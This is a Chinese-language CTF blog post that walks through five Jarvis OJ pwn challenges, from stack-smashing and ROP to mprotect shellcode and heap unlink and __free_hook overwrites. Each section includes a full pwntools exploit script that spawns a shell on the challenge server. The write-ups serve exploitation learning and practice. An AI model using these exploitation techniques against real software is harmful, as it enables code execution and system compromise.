刷Jarvis OJ时学到的新姿势[不定时更新]
0x00 前言
Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势,在此记录一下。持续龟速更新中
0x01 200pt Smashes
程序很简单,利用gets函数接受Name导致溢出,溢出到stack_check_fail函数报错的地方将服务端的flag给打印出来
主函数 服务端的flag 但有个很恶心的地方就是后面的循环函数,正如他所说的Please overwrite the flag,在这个地方有3个判断:- 如果你什么都不输入就直接跳到exit,根本不会触发stackcheckfail。
- 输入n(n<=32)个字符,就会将0x600d20+n的地方覆盖32-n个0,而这个地址恰好就是flag所在的地址,就是无论如何输入都会将0x600d20到0x600d40这段地址都会被我们所复写或者被memset给填充为0
然后就卡在这里了,一直想如何绕过这个循环,然鹅并没有卵用,绕不过去。最终参考了一下大佬的博客,发现Linux下有个机制ELF重映射
ELF重映射:当可执行文件足够小时,在不同的区段可能被多次映射。
而这道题确实也就是考的这个,在gdb中可以看到在0x400000的地址将这个可执行文件重新映射了一遍,虽然我们覆盖掉了0x600d20处的flag但是在0x400d20处重映射的flag并没有被覆盖。
ELF重映射 脚本如下:from pwn import *
local = 0
if local:
p = process('./smashes')
else:
p = remote('pwn.jarvisoj.com' , 9877)#nc pwn.jarvisoj.com 9877
flag_addr = 0x400D20
p.recvuntil('name? ')
name = p64(flag_addr) * 100 #懒到不想精确计算该改哪个位置于是直接暴力覆盖flag
p.sendline(name)
p.recvuntil('flag: ')
p.send('\x00')
p.interactive()
0x02 250pt level4
前几个level都是简单常见的栈溢出、ROP,到了第四个就很有意思了,虽然程序都是一样的,却没有给libc版本,用leak出来的地址去查也没有查到,在大佬的博客中看到了pwntools中的dynelf方法。
看看pwntools官方文档中的Example:
# Assume a process or remote connection
p = process('./pwnme')
# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef
# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system
要使用dynelf首先得需要一个能够leak出地址的函数,然后需要知道main函数的地址或者直接有可执行文件,下面的一堆assert大概是校准?有了上述条件后dynelf就可以开始工作了,原理就是从内存里面逐个泄露出地址来暴力搜索想要找的函数。
所以这道题的基本思路就是通过read函数溢出构造好leak函数,用dynelf在内存中暴力搜索system实际地址,然后构造简单rop写/bin/sh并调用system函数即可。脚本如下:
from pwn import *
global p
local = 0
if local:
p = process('./level4')
else:
p = remote('pwn2.jarvisoj.com' , 9880)#nc pwn2.jarvisoj.com 9880
p3ret = 0x8048509
def leak(address):
elf = ELF('./level4')
pay = 'a'*0x88 +'bbbb'
pay += p32(elf.symbols['write']) + p32(p3ret) + p32(1) + p32(address) + p32(4)
pay += p32(elf.symbols['main'])
p.sendline(pay)
data = p.recv(4)
print "[*]leaking: " + data
return data
elf = ELF('./level4')
dyn = DynELF(leak, elf=ELF('./level4'))
bss_addr = 0x804A024
system_addr = dyn.lookup('system' , 'libc')
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
payload = 'a' * 0x88 + 'xebp' + p32(read_plt) + p32(p3ret) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + 'xret' + p32(bss_addr)
p.sendline(payload)
p.interactive()
但不太清楚为什么明明通过system('/bin/sh')起的shell却只能执行一次命令。
只能执行一次命令0x03 300pt level5
从level0到level5的程序都是差不多的,考点也都是栈溢出,也就是说level5是最高难度的了。程序很简单,可以直接溢出leak地址构rop起shell,但那是level3_x64,虽然程序是一模一样的,同一个脚本也能pwn通,但是题目假设除了一个环境:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。我跟着大牛的思路用mprotect函数,利用64位ELF文件的万能Gadget完成了本题。
mprotect函数
函数原型:int mprotect(const void *start, size_t len, int prot);
函数功能:把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,其中prot的值就和Linux系统对应的属性值。
万能Gadget
万能Gadget
在64位ELF文件中会有一个名叫__libc_csu_init的函数,看其中的汇编代码我们会发现可以通过我们的精心构造可以访问任何地方。我们可以先跳转到红色箭头的地方,控制rbx、rbp、r12、r13、r14、r15这五个寄存器中的值,然后再ret到蓝色箭头的地方,我们可以发现刚刚我们构造的r13、r14、r15中的值分别传递到了rdx、rsi、rdi寄存器中。而熟悉的人肯定知道rdi、rsi、rdx中的值分别对应64位程序中调用函数的前三个参数。而且在这几句后面还有个call,这就很骚了,虽然后面是call [r12+rbx*8]看似很复杂的汇编语言,但是我们可以发现r12和rbx的值在红色箭头那里我们都是可控的。如果我们将rbx中的值构造为0,r12的值构造为我们想要跳转到一个指针p,这个指针p指向我们想要执行的函数f,那么我们就可以执行函数f了。而且,ELF文件中的got表中就有我们想要的指向函数的指针。
-
利用思路
大概就是写shellcode到bss段,调用mprotect函数修改bss段为可执行,然后再跳转到bss段去执行我们的shellcode。首先将shellcode写到bss段就简单栈溢出调用read函数就能实现,而后面两步就需要用到万能Gadget访问函数,那么我们肯定是要hijack got表嘛,那就在got表里面找两个不太用的到的函数hijack一下呗。脚本如下:
from pwn import *
context.arch = 'amd64'
local = 0
if local:
p = process('./level5')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
gdb.attach(p , open('aa'))
else:
p = remote('pwn2.jarvisoj.com' , 9884)#nc pwn2.jarvisoj.com 9884
libc = ELF('./libc-2.19.so')
elf = ELF('./level5')
offset = 0x80
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = elf.bss()
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006a6
evercall_addr = 0x400690
#step1 leak libc.addr
p.recvuntil('Input:\n')
payload1 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + 'deadbeef' + p64(write_plt) + p64(main_addr)
p.send(payload1)
libc.address = u64(p.recv(8)) - libc.symbols['read']
print hex(libc.address)
#raw_input()
#step2 hijack __libc_start_main -> mprotect
p.recvuntil('Input:\n')
libc_start_main_got = elf.got['__libc_start_main']
payload2 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(libc_start_main_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload2)
mprotect_addr = libc.symbols['mprotect']
print hex(mprotect_addr)
p.send(p64(mprotect_addr))
#step3 write shellcode -> bss
p.recvuntil('Input:\n')
payload3 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload3)
shellcode = asm(shellcraft.amd64.sh())
print shellcode
p.send(shellcode)
#step4 hijack __gmon_start__ -> bss_shellcode
p.recvuntil('Input:\n')
gmon_start_got = elf.got['__gmon_start__']
payload4 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(gmon_start_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload4)
p.send(p64(bss_addr))
#raw_input()
#step5 using __libc_csu_init to call mprotect and change bss to executable and then execute shellcode
p.recvuntil('Input:\n')
payload5 = 'a' * offset + '__xebp__' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + 'deadbeef' + p64(0) + p64(1) + p64(libc_start_main_got) + p64(7) + p64(0x1000) + p64(0x600000) + p64(evercall_addr) + 'deadbeef' + p64(0) + p64(1) + p64(gmon_start_got) + p64(0) + p64(0) + p64(0) + p64(evercall_addr)
# + 'deadbeef' rbx rbp r12 -> call r12+rbx*8 r13 -> rdx r14 -> rsi r15 -> rdi
p.sendline(payload5)
p.interactive()
没有像大佬那样一次性把ROP链构造完全然后一次性把函数都劫持到位,但我觉得这样一步一步的逻辑清楚一些,也便于自己写脚本,然后值得一提的是在万能Gadget中若将rbx构造得比rbp少一,也就是rbx中为0,rbp中为1,那么call完之后又会跳转到我们红色箭头那里然后又可以构造一次访问其他位置。(详情可以见call完后面的那串汇编代码)
0x04 400pt Guestbook2
前面都是栈漏洞,之后应该就是堆题了吧,根据ida可以分析出结构体如下
struct heap{
int inuse;
int length;
char *post;
}
-
漏洞位置
漏洞出在edit函数,在编辑已经定义的post时可以任意指定修改长度,并且realloc不会清空堆上的内容。以及del函数在free堆块后没有释放指针,造成存在Dangling Pointer。
del
unlink
- 利用原理
在free一个大小在fastbin以上的chunk时,会检查该chunk物理地址相连的两个chunk,并执行下面的逻辑:free(chunk) if(prev_chunk == freed) unlink(prev_chunk) //将两个chunk合并 if(next_chunk == top_chunk) ...... //合并到top_chunk else if(next_chunk == freed) unlink(next_chunk) //将两个chunk合并 to_unsortbin(chunk) //将经过处理合并后的chunk归入unsortbin
unlink的时候会执行如下操作指针的代码,并且如今还有safe_unlink的check机制。
unlink(P, BK, FD) { FD = P->fd; BK = P->bk; if(__builtin_expect (FD->bk != P || BK->fd != P, 0)) //safe_unlink malloc_printerr (check_action, "corrupted double-linked list", P); else{ FD->bk = BK; BK->fd = FD; ......................................... } }
- 构造条件
红色边框中的一个大堆块构造两个小堆块,大小都在unsort bin的范围内,并且将要free的堆块(黑色箭头所指)的前一个堆块为freed的状态,也就是该堆块的size位(绿色箭头所指)的prev_inuse为0,同样因为该堆块为inused状态,故下一堆块的size位(紫色箭头所指)的prev_inuse为1。这样就构造好了触发unlink的条件,此时free该堆块会导致前一个堆块进行unlink操作,现在要构造绕过safe_unlink的check了。也就是需要有一个指针指向前一个堆块的堆头处也就是如红色箭头所示ptr指向fake_prev,并且将该伪堆块的fd和bk分别布置为ptr-0x18和ptr-0x10(32位时为ptr-0xc和ptr-0x8),这样就可以满足unsafe_unlink的check了。- 触发效果
在unlink红色箭头所指的堆块后,指针ptr所指会由刚刚的fake_prev变成ptr-0x18的位置(红色箭头变为蓝色箭头),再编辑ptr的时候就能够覆盖到ptr本身实现后续利用。
unlink
-
利用思路
先add堆块并free掉一个保证堆上有指向libc的指针,edit前一个结构体导致堆溢出覆盖掉后面的post后再通过list可泄露出libc的基址,再在后面的堆块中通过溢出构造unlink最终起shell。 -
my-exp
from pwn import *
local = 1
if local:
p = process('./guestbook2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#gdb.attach(p)# , open('aa'))
else:
p = remote('pwn.jarvisoj.com' , 9879)#nc pwn.jarvisoj.com 9879
libc = ELF('./libc.so.6')
def lst():
p.recvuntil('choice: ')
p.sendline('1')
return p.recvuntil('\n== PCTF')[:-8]
def add(length , content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('new post: ')
p.sendline(str(length))
p.recvuntil('your post: ')
p.send(content)
sleep(0.1)
def edit(num , length , content):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('number: ')
p.sendline(str(num))
p.recvuntil('of post: ')
p.sendline(str(length))
p.recvuntil('your post: ')
p.send(content)
sleep(0.1)
def dele(num):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('number: ')
p.sendline(str(num))
sleep(0.1)
elf = ELF('./guestbook2')
for i in range(5):
add(0x80 , str(i)*0x80)
#Make freed_chunk1_fd be chunk3_ptr then leak heap base
dele(3)
dele(1) #We have a dangling_ptr
edit(0 , 0x90 , 'a' * 0x20)
#gdb.attach(p)
a = lst().split('\n')[0][0x93:]
heap_base = u64(a + '\x00' * (8 - len(a))) - 0x19d0
chunk0_addr = heap_base + 0x30
success('heap_base => ' + hex(heap_base))
success('chunk0_addr => ' + hex(chunk0_addr))
#Make a fake_chunk satisfied the condition of unlink
payload = p64(0) + p64(0x80) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10) + 'a' * 0x60 + p64(0x80) + p64(0x90) + 'a' * 0x70
# fake_prev_size fake_size fake_fd = ptr - 0x18 fake_bk = ptr - 0x10 mess chunk1_prev_size chunk1_size mess duiqi 0x80
print hex(len(payload))
edit(0 , len(payload) , payload)
#gdb.attach(p)
#trigger unlink
dele(1)
#result: chunk0_addr = chunk0_addr - 0x18
#leak libc.address & get system_address
atoi_got = elf.got['atoi']
payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr - 0x18) + p64(1) + p64(8) + p64(atoi_got)
payload += '\x00' * (0x100 - len(payload))
edit(0 , len(payload) , payload)
a = lst().split('1. ')[1]
atoi_addr = u64(a + '\x00' * (8 - len(a)))
libc.address = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system']
success('atoi_addr => ' + hex(atoi_addr))
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
#write atoi to system & get shell
edit(1 , 8 , p64(system_addr))
p.sendline('/bin/sh\x00')
p.interactive()
0x05 450pt ItemBoard
题目没有去符号表,根据ida可分析出item数据结构如下:
struct item{
char *name;
char *description;
void (*item_free)();
}
- 漏洞位置
漏洞位于new_item函数中,在输入description时给中间变量buf的长度可控,而buf为char buf[1024],此处存在缓冲区溢出。此外在执行item_free时只没有清除指针,并且在list_item和show_item的时候没有检查是否inuse。
new_item
item_free
list_item
show_item
- 善于利用栈上的结构体,并结合代码段的写操作构造合理的覆盖
- __free_hook_ptr的定位,pwntools库中的libc.symbols无法定位到__free_hook_ptr,ida中查找也不是特别方便,只好在调试时先确定__free_hook的地址,再用find的指令查找__free_hook再减去libc基址便可得到__free_hook_ptr的偏移。
- 在远程使用不同的libc时通过freed unsort bin上指向main_arena泄露地址找libc基址时偏移与本地不同的方法:可先减去__malloc_hook的偏移,然后再强行页对齐,由于main_arena在__malloc_hook下面不远处,所以先减去__malloc_hook后,离页对齐差的不是很多,可以一眼看出来该如何对齐。
-
利用思路
第一步,先构造free到unsort bin上的堆块,free后产生指向main_arena的地址,并通过show_item来leak出libc的基址。第二步,通过控制v2溢出buf并且继续向下覆盖掉i栈上的item结构体,在下面strcpy的时候,将buf赋值给覆盖后新的item + 8指向的地方。正常情况下我们会将free_hook改成system函数,所以我们可将item覆盖为+8后指向free_hook的地方。恰好,在libc里面会有一个__free_hook_ptr是指向__free_hook的。所以整体思路为:泄露出libc基址后,将栈上的item结构体指针覆盖为__free_hook_ptr - 8,然后通过strcpy把__free_hook覆盖为system地址,然后free掉写有/bin/sh的堆块即可get shell。 -
my-exp
from pwn import *
local = 0
---
if local:
p = process('./itemboard')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('pwn2.jarvisoj.com' , 9887)#nc pwn2.jarvisoj.com 9887
libc = ELF('./libc-2.19.so')
elf = ELF('./itemboard')
def add(name , length , description):
p.recvuntil('choose:\n')
p.sendline('1')
sleep(0.1)
p.recvuntil('name?\n')
p.sendline(name)
sleep(0.1)
p.recvuntil('len?\n')
p.sendline(str(length))
sleep(0.1)
p.recvuntil('Description?\n')
p.sendline(description)
sleep(0.1)
def lst():
p.recvuntil('choose:\n')
p.sendline('2')
return p.recvuntil('1.Add')[:-6]
def show(no):
p.recvuntil('choose:\n')
p.sendline('3')
p.recvuntil('item?\n')
p.sendline(str(no))
a = p.recvuntil('1.Add')[:-6]
name = a.split('\nDescription:')[0].split('Name:')[1]
description = a.split('\nDescription:')[1]
return name , description
def remove(no):
p.recvuntil('choose:\n')
p.sendline('4')
p.recvuntil('item?\n')
p.sendline(str(no))
def debug():
print pidof(p)[0]
raw_input()
add('a' * 0x10 , 0x80 , '1' * 4 + 'Just A Fish Test' + '2' * 4)
add('b' * 0x10 , 0x80 , '3' * 4 + 'Just A Fish Test' + '4' * 4)
add('c' * 0x10 , 0x80 , '5' * 4 + 'Just A Fish Test' + '6' * 4)
remove(1)
if local:
libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x68
free_hook_ptr = libc.address + 0x3c3ef8
else:
libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x78
free_hook_ptr = libc.address + 0x3bdee8
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('free_hook_ptr => ' + hex(free_hook_ptr))
success('system_addr = > ' + hex(system_addr))
add('/bin/sh\x00' , 0x410 , p64(system_addr) + 'a' * 0x400 + p64(free_hook_ptr - 8))
remove(3)
#debug()
p.interactive()